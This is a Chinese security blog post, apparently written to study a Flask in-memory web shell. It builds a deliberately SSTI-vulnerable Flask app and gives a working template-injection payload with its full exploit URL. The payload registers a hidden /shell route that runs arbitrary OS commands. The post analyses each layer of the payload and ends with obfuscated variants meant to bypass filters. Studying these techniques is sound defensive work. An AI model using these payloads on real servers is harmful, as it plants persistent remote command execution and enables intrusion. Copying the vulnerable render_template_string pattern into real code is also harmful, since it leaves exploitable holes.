0x00 前言

最近看到一个Python Flask内存马,学习一下:https://github.com/iceyhexman/flask_memory_shell

0x01 Python Flask内存马

复现

简单写个Flask SSTI漏洞环境:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask, request, render_template_string

app = Flask(__name__)


@app.route('/')
def home():
person = 'guest'
if request.args.get('name'):
person = request.args.get('name')
template = '<h2>Hello %s!</h2>' % person
return render_template_string(template)


if __name__ == "__main__":
app.run()

原始Flask内存马payload,其中的默认命令也可以去掉:

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

访问如下URL生成Flask内存马:

1
http://127.0.0.1:5000/?name={{url_for.__globals__[%27__builtins__%27][%27eval%27](%22app.add_url_rule(%27/shell%27,%20%27shell%27,%20lambda%20:__import__(%27os%27).popen(_request_ctx_stack.top.request.args.get(%27cmd%27,%20%27whoami%27)).read())%22,{%27_request_ctx_stack%27:url_for.__globals__[%27_request_ctx_stack%27],%27app%27:url_for.__globals__[%27current_app%27]})}}

最后访问/shell内存马接口即可执行任意命令:

分析

我们将payload拆开来逐层分析:

1
2
3
4
5
6
7
8
9
10
11
12
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule(
'/shell',
'shell',
lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read()
)
",
{
'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],
'app':url_for.__globals__['current_app']
}
)

url_for.__globals__['__builtins__']['eval']

这个是Flask SSTI中的payload。

url_for()是Flask的一个内置函数:

通过Flask内置函数可以调用其__globals__属性,该特殊属性能够返回函数所在模块命名空间的所有变量,其中包含了很多已经引入的modules,这里看到是支持__builtins__的:

__builtins__即是引用,Python程序一旦启动,它就会在程序员所写的代码运行之前就已经被加载到内存中了,而对于__builtins__却不用导入,它在任何模块都直接可见,所以可以直接调用引用的模块。其中是包含eval、exec等函数的:

直接调用就能执行命令了:

app.add_url_rule()函数

在Flask中注册路由的时候是添加的`@app.route()`装饰器来实现的。

点进去看到其源码实现,其调用了add_url_rule()函数来添加路由:

add_url_rule()函数定义:

1
add_url_rule(rule, endpoint=None, view_func=None, provide_automatic_options=None, **options)

参数说明:

  • rule:函数对应的URL规则,满足条件和app.route()的第一个参数一样,必须以/开头;
  • endpoint:端点,即在使用url_for()进行反转的时候,这里传入的第一个参数就是endpoint对应的值。这个值也可以不指定,那么默认就会使用函数的名字作为endpoint的值;
  • view_func:URL对应的函数(注意,这里只需写函数名字而不用加括号);
  • provide_automatic_options:控制是否应自动添加选项方法。这也可以通过设置视图来控制_func.provide_automatic_options =添加规则前为False;
  • options:要转发到基础规则对象的选项。Werkzeug的一个变化是处理方法选项。方法是此规则应限制的方法列表(GET、POST等)。默认情况下,规则只侦听GET(并隐式地侦听HEAD)。从Flask0.6开始,通过标准请求处理隐式添加和处理选项;

由此可见,payload这部分是动态添加了一条路由,而处理该路由的函数是个由lambda关键字定义的匿名函数。

lambda与_request_ctx_stack

lambda即匿名函数,payload中add_url_rule()函数的第三个参数定义了一个lambda匿名函数,其中通过os库的popen()函数执行从Web请求中获取的cmd参数值并返回结果,其中该参数值默认为whoami。

_request_ctx_stack是Flask的一个全局变量,是一个LocalStack实例。

Flask请求上下文管理机制:当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为_request_ctx_stack 的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top

绕过变形

以Python沙箱逃逸的技巧为例:

  • url_for可用get_flashed_messagesrequest.application.__self__._get_data_for_json等替换;
  • 代码执行函数替换,如exec等替换eval;
  • 字符串可采用拼接方式,如['__builtins__']['eval']变为['__bui'+'ltins__']['ev'+'al']
  • __globals__可用__getattribute__('__globa'+'ls__')替换;
  • []中括号可用.__getitem__().pop()替换;
1
request.application.__self__._get_data_for_json.__getattribute__('__globa'+'ls__').__getitem__('__bui'+'ltins__').__getitem__('ex'+'ec')("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'calc')).read())",{'_request_ct'+'x_stack':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('_request_'+'ctx_stack'),'app':get_flashed_messages.__getattribute__('__globa'+'ls__').pop('curre'+'nt_app')})